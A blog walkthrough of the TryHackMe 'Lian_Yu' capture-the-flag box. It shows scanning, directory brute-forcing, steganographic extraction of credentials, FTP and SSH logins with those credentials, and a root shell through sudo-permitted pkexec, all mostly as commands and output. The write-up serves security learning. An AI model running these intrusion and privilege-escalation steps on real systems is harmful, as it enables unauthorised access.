TryHackMe : Lian_Yu Walkthrough
Welcome to Lian_YU, an Arrowverse-themed beginner-level CTF box on TryHackMe. The objective is to capture multiple flags by performing…
TryHackMe : Lian_Yu Walkthrough

A beginner level security challenge
Welcome to Lian_YU, an Arrowverse-themed beginner-level CTF box on TryHackMe. The objective is to capture multiple flags by performing enumeration, web exploitation, and privilege escalation. Let’s walk through the steps!
🔍 Step 1: Reconnaissance
- I started with a default Nmap scan to check for open ports and running services.
nmap -sC -sV <target-ip>
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV thm
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-02 18:46 IST
Nmap scan report for thm (10.201.44.83)
Host is up (0.23s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey:
| 1024 56:50:bd:11:ef:d4:ac:56:32:c3:ee:73:3e:de:87:f4 (DSA)
| 2048 39:6f:3a:9c:b6:2d:ad:0c:d8:6d:be:77:13:07:25:d6 (RSA)
| 256 a6:69:96:d7:6d:61:27:96:7e:bb:9f:83:60:1b:52:12 (ECDSA)
|_ 256 3f:43:76:75:a8:5a:a6:cd:33:b0:66:42:04:91:fe:a0 (ED25519)
80/tcp open http Apache httpd
|_http-title: Purgatory
|_http-server-header: Apache
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 44798/tcp6 status
| 100024 1 45659/udp6 status
| 100024 1 58787/tcp status
|_ 100024 1 60902/udp status
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.94 seconds
- Results showed 4 open ports and 3 filtered ports.
- To dig deeper, I ran a service discovery scan.
📂 Step 2 — Quick check of FTP (always try anonymous)
- Because FTP was open, I tried anonymous login first — it’s cheap and often yields hints or files.
ftp <TARGET_IP>
# At prompt:
Name: anonymous
Password: <press Enter>
┌──(kali㉿kali)-[~]
└─$ ftp thm
Connected to thm.
220 (vsFTPd 3.0.2)
Name (thm:kali): Anonymous
530 Permission denied.
ftp: Login failed
ftp>
- Outcome: anonymous login failed (or didn’t grant anything useful).
- Decision: since anonymous didn’t work, don’t waste time brute-forcing FTP right away, pivot to the web service on port 80 (it’s faster to check, and web often contains hints for credentials).
🌐 Step 3 — Web Enumeration
- Visiting
http://<TARGET_IP>I found a page titled ARROWVERSE with a big blurb about Oliver Queen / Lian Yu (background lore). This was visible content but didn’t contain the flag itself.

🔎 Step 4 — Directory enumeration with Gobuster
- I moved to Port 80 (HTTP). Running Gobuster for directories revealed a hidden folder
/island.
gobuster dir -u http://<target-ip>/ -w /usr/share/wordlists/dirb/big.txt
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://thm/ -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://thm/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 199]
/.htpasswd (Status: 403) [Size: 199]
Progress: 1474 / 20470 (7.20%)[ERROR] Get "http://thm/_gfx": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/island (Status: 301) [Size: 226] [--> http://thm/island/]
/server-status (Status: 403) [Size: 199]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================


- Inside
/island, the page source had a hidden comment: "go! go!". - After some inspection, I noticed a hidden codeword: vigilante (same color as the background).

🧭 Step 5 — Continue bruteforcing discovered path
- Because
/islandexists, run Gobuster on/island(look deeper) — authors often nest secret files.
gobuster dir -u http://thm/island/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://thm/island/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://thm/island/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/2100 (Status: 301) [Size: 231] [--> http://thm/island/2100/]
Progress: 9231 / 220561 (4.19%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 9241 / 220561 (4.19%)
===============================================================
Finished
===============================================================
Result: found /island/2100 .

<TAREGT-IP>/island/2100
- Page-Source

<!DOCTYPE html>
<html>
<body>
<h1 align=center>How Oliver Queen finds his way to Lian_Yu?</h1>
<p align=center >
<iframe width="640" height="480" src="https://www.youtube.com/embed/X8ZiFuW41yY">
</iframe> <p>
<!-- you can avail your .ticket here but how? -->
</header>
</body>
</html>
🔎 Why this matters
- The iframe only embeds a YouTube video (a distraction).
- The HTML comment gives the real hint:
<!-- you can avail your .ticket here but how? -->
- This suggests that files with the
.ticketextension exist in this directory.
At this stage, many beginners might waste time analyzing the video. Instead, the smarter approach is to brute-force for files with .ticket extension.
- So I ran Gobuster again with the file extension flag -x .ticket.
gobuster dir -u http://thm/island/2100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x .ticket -t 50
└─$┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://thm/island/2100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x .ticket -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://thm/island/2100
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: ticket
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/green_arrow.ticket (Status: 200) [Size: 71]
Progress: 43142 / 175330 (24.61%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 43202 / 175330 (24.64%)
===============================================================
Finished
===============================================================

<TARGET-IP>/island/2100/green_arrow.ticket
This is just a token to get into Queen's Gambit(Ship)
RTy8yhBQdscX
🔐 Step 6 — Decode the .ticket (Base58)
- The
.ticketcontents looked like Base58. I used dcode.fr (quick & easy) to decode it, it returned a password string.
python3 - <<'PY'
import base58
print(base58.b58decode("RTy8yhBQdscX").decode())
PY
┌──(kali㉿kali)-[~]
└─$ python3 - <<'PY'
heredoc> import base58
heredoc> print(base58.b58decode("RTy8yhBQdscX").decode())
heredoc> PY
!#th3h00d
📡 Step 7: FTP Access
- So I logged into the FTP using vigilante as our username and the password we found
ftp <target-ip>
Username: vigilante
Password: !#th3h00d
┌──(kali㉿kali)-[~]
└─$ ftp thm
Connected to thm.
220 (vsFTPd 3.0.2)
Name (thm:kali): vigilante
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
- Now we successfully logged in
ls -al
- Output
ftp> ls -al
229 Entering Extended Passive Mode (|||9583|).
150 Here comes the directory listing.
drwxr-xr-x 2 1001 1001 4096 May 05 2020 .
drwxr-xr-x 4 0 0 4096 May 01 2020 ..
-rw------- 1 1001 1001 44 May 01 2020 .bash_history
-rw-r--r-- 1 1001 1001 220 May 01 2020 .bash_logout
-rw-r--r-- 1 1001 1001 3515 May 01 2020 .bashrc
-rw-r--r-- 1 0 0 2483 May 01 2020 .other_user
-rw-r--r-- 1 1001 1001 675 May 01 2020 .profile
-rw-r--r-- 1 0 0 511720 May 01 2020 Leave_me_alone.png
-rw-r--r-- 1 0 0 549924 May 05 2020 Queen's_Gambit.png
-rw-r--r-- 1 0 0 191026 May 01 2020 aa.jpg
226 Directory send OK.
get <File-Name>
ftp> get Leave_me_alone.png
local: Leave_me_alone.png remote: Leave_me_alone.png
229 Entering Extended Passive Mode (|||16124|).
150 Opening BINARY mode data connection for Leave_me_alone.png (511720 bytes).
100% |***********************************************************************************************************************************************************************************************| 499 KiB 55.51 KiB/s 00:00 ETA
226 Transfer complete.
511720 bytes received in 00:09 (54.08 KiB/s)
ftp> get Queen's_Gambit.png
local: Queen's_Gambit.png remote: Queen's_Gambit.png
229 Entering Extended Passive Mode (|||51017|).
150 Opening BINARY mode data connection for Queen's_Gambit.png (549924 bytes).
100% |***********************************************************************************************************************************************************************************************| 537 KiB 56.20 KiB/s 00:00 ETA
226 Transfer complete.
549924 bytes received in 00:09 (54.79 KiB/s)
ftp> get aa.jpg
local: aa.jpg remote: aa.jpg
229 Entering Extended Passive Mode (|||63473|).
150 Opening BINARY mode data connection for aa.jpg (191026 bytes).
100% |***********************************************************************************************************************************************************************************************| 186 KiB 69.41 KiB/s 00:00 ETA
226 Transfer complete.
191026 bytes received in 00:02 (64.10 KiB/s)ftp> get .other_user
local: .other_user remote: .other_user
229 Entering Extended Passive Mode (|||55731|).
150 Opening BINARY mode data connection for .other_user (2483 bytes).
100% |***********************************************************************************************************************************************************************************************| 2483 3.40 MiB/s 00:00 ETA
226 Transfer complete.
2483 bytes received in 00:00 (11.78 KiB/s)
ftp> exit
221 Goodbye.
- Now check other_user file.
cat .other_user
┌──(kali㉿kali)-[~]
└─$ cat .other_user
Slade Wilson was 16 years old when he enlisted in the United States Army, having lied about his age. After serving a stint in Korea, he was later assigned to Camp Washington where he had been promoted to the rank of major. In the early 1960s, he met Captain Adeline Kane, who was tasked with training young soldiers in new fighting techniques in anticipation of brewing troubles taking place in Vietnam. Kane was amazed at how skilled Slade was and how quickly he adapted to modern conventions of warfare. She immediately fell in love with him and realized that he was without a doubt the most able-bodied combatant that she had ever encountered. She offered to privately train Slade in guerrilla warfare. In less than a year, Slade mastered every fighting form presented to him and was soon promoted to the rank of lieutenant colonel. Six months later, Adeline and he were married and she became pregnant with their first child. The war in Vietnam began to escalate and Slade was shipped overseas. In the war, his unit massacred a village, an event which sickened him. He was also rescued by SAS member Wintergreen, to whom he would later return the favor.
Chosen for a secret experiment, the Army imbued him with enhanced physical powers in an attempt to create metahuman super-soldiers for the U.S. military. Deathstroke became a mercenary soon after the experiment when he defied orders and rescued his friend Wintergreen, who had been sent on a suicide mission by a commanding officer with a grudge.[7] However, Slade kept this career secret from his family, even though his wife was an expert military combat instructor.
A criminal named the Jackal took his younger son Joseph Wilson hostage to force Slade to divulge the name of a client who had hired him as an assassin. Slade refused, claiming it was against his personal honor code. He attacked and killed the kidnappers at the rendezvous. Unfortunately, Joseph's throat was slashed by one of the criminals before Slade could prevent it, destroying Joseph's vocal cords and rendering him mute.
After taking Joseph to the hospital, Adeline was enraged at his endangerment of her son and tried to kill Slade by shooting him, but only managed to destroy his right eye. Afterwards, his confidence in his physical abilities was such that he made no secret of his impaired vision, marked by his mask which has a black, featureless half covering his lost right eye. Without his mask, Slade wears an eyepatch to cover his eye.
🖼 Step 8 — Steganography Hunt in Images
- With three images downloaded, I tested them with
steghide:
steghide extract -sf Leave_me_alone.png
steghide extract -sf Queen\'s_Gambit.png
steghide extract -sf aa.jpg
┌──(kali㉿kali)-[~]
└─$ steghide extract -sf Leave_me_alone.png
Enter passphrase:
steghide: the file format of the file "Leave_me_alone.png" is not supported.
┌──(kali㉿kali)-[~]
└─$ steghide extract -sf Queen\'s_Gambit.png
Enter passphrase:
steghide: the file format of the file "Queen's_Gambit.png" is not supported.
┌──(kali㉿kali)-[~]
└─$ steghide extract -sf aa.jpg
Enter passphrase:
steghide: could not extract any data with that passphrase!
- ❌
Leave_me_alone.png→ Unsupported format error - ❌
Queen's_Gambit.png→ Unsupported format error - ❌
aa.jpg→ Requires a passphrase
🔧 Step 9 — Fixing Broken Image Header
- The error on Leave_me_alone.png hinted at corrupt file headers. Using a hex editor (HexEd), I corrected the PNG signature and saved it.

Tool: https://hexed.it/
- Fixed with png header bits
- Saved

- Opening again — boom! It revealed the hidden password:

📝 Why this matters: The broken header was a deliberate trick — repairing it gives us the key we need for steghide.
🗝 Step 10 — Cracking aa.jpg
- Now retrying
steghidewith the discovered password:
steghide extract -sf aa.jpg
Enter passphrase: password
Success ✅ — a file named ss.zip was extracted.
┌──(kali㉿kali)-[~]
└─$ steghide extract -sf aa.jpg
Enter passphrase:
wrote extracted data to "ss.zip".
📦 Step 11 — Extracting the Archive
unzip ss.zip
┌──(kali㉿kali)-[~]
└─$ unzip ss.zip
Archive: ss.zip
inflating: passwd.txt
inflating: shado
📄 Step 12 — Reading the Files
cat shado
┌──(kali㉿kali)-[~]
└─$ cat shado
M3tahuman
- That looks like a credential (password) for later use.
cat passwd.txt
┌──(kali㉿kali)-[~]
└─$ cat passwd.txt
This is your visa to Land on Lian_Yu # Just for Fun ***
a small Note about it
Having spent years on the island, Oliver learned how to be resourceful and
set booby traps all over the island in the common event he ran into dangerous
people. The island is also home to many animals, including pheasants,
wild pigs and wolves.
- This second file is just flavor text — more Arrowverse lore. The real prize is
shado→ password: M3tahuman
🖥 Step 13 — Gaining SSH Access
At this point, we’ve gathered:
- A file called
.other_user→ hinted at Slade Wilson (Deathstroke) as another user. - A password
M3tahumanfrom the stego extraction.
Looks like we’re meant to try SSH.
🔑 Attempting SSH with Credentials
ssh slade@<TARGET_IP>
slade@<TARGET_IP>'s password: M3tahuman
┌──(kali㉿kali)-[~]
└─$ ssh slade@10.201.44.83
slade@10.201.44.83's password:
Way To SSH...
Loading.........Done..
Connecting To Lian_Yu Happy Hacking
██╗ ██╗███████╗██╗ ██████╗ ██████╗ ███╗ ███╗███████╗██████╗
██║ ██║██╔════╝██║ ██╔════╝██╔═══██╗████╗ ████║██╔════╝╚════██╗
██║ █╗ ██║█████╗ ██║ ██║ ██║ ██║██╔████╔██║█████╗ █████╔╝
██║███╗██║██╔══╝ ██║ ██║ ██║ ██║██║╚██╔╝██║██╔══╝ ██╔═══╝
╚███╔███╔╝███████╗███████╗╚██████╗╚██████╔╝██║ ╚═╝ ██║███████╗███████╗
╚══╝╚══╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝
██╗ ██╗ █████╗ ███╗ ██╗ ██╗ ██╗██╗ ██╗
██║ ██║██╔══██╗████╗ ██║ ╚██╗ ██╔╝██║ ██║
██║ ██║███████║██╔██╗ ██║ ╚████╔╝ ██║ ██║
██║ ██║██╔══██║██║╚██╗██║ ╚██╔╝ ██║ ██║
███████╗██║██║ ██║██║ ╚████║███████╗██║ ╚██████╔╝
╚══════╝╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═════╝ #
Last login: Tue Sep 2 10:34:37 2025 from ip-10-17-14-244.ec2.internal
slade@LianYu:~$
📂 Step 14 — Exploring the User’s Home Directory
- Once inside as slade:
ls -al
slade@LianYu:~$ ls -al
total 32
drwx------ 2 slade slade 4096 May 1 2020 .
drwxr-xr-x 4 root root 4096 May 1 2020 ..
-rw------- 1 slade slade 22 May 1 2020 .bash_history
-rw-r--r-- 1 slade slade 220 May 1 2020 .bash_logout
-rw-r--r-- 1 slade slade 3515 May 1 2020 .bashrc
-r-------- 1 slade slade 77 May 1 2020 .Important
-rw-r--r-- 1 slade slade 675 May 1 2020 .profile
-r-------- 1 slade slade 63 May 1 2020 user.txt
- Open user.txt file
cat user.txt
slade@LianYu:~$ cat user.txt
THM{............................................}
--Felicity Smoak
- 🎉 That’s our first flag from the box.
🔍 Step 16 — Looking for Privilege Escalation Paths
- Since we’re only user
slade, we need to check:
- Sudo privileges
sudo -l
👉 This command lists what the current user can execute as root.
slade@LianYu:~$ sudo -l
[sudo] password for slade:
Matching Defaults entries for slade on LianYu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User slade may run the following commands on LianYu:
(root) PASSWD: /usr/bin/pkexec
slade@LianYu:~$
- Since
pkexecallows executing commands as another user, we can attempt to spawn a root shell directly.
Exploitation:
sudo pkexec /bin/bash
slade@LianYu:~$ sudo pkexec /bin/bash
root@LianYu:~# whoami
root
root@LianYu:~#
- Looking for root.txt file
ls -al
root@LianYu:~# ls -al
total 28
drwx------ 3 root root 4096 May 1 2020 .
drwxr-xr-x 23 root root 4096 May 1 2020 ..
-rw------- 1 root root 22 May 1 2020 .bash_history
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwx------ 2 root root 4096 May 1 2020 .gnupg
-rw-r--r-- 1 root root 140 Nov 19 2007 .profile
-rw-r--r-- 1 root root 340 May 1 2020 root.txt
output:
root@LianYu:~# cat root.txt
Mission accomplished
You are injected me with Mirakuru:) ---> Now slade Will become DEATHSTROKE.
THM{........................................................................}
--DEATHSTROKE
Let me know your comments about this machine :)
I will be available @twitter @User6825
🔗 Feel free to connect with me on LinkedIn.
Thank You.
메타데이터
- post_id
- 58fc4d366d40
- slug
- tryhackme-lian-yu-walkthrough-58fc4d366d40
- url
- https://medium.com/@H42DiK/tryhackme-lian-yu-walkthrough-58fc4d366d40
- canonical_url
- https://medium.com/@H42DiK/tryhackme-lian-yu-walkthrough-58fc4d366d40
- author_url
- https://medium.com/@H42DiK
- status
- ok
- fetched_at
- 2026-07-17 19:33:32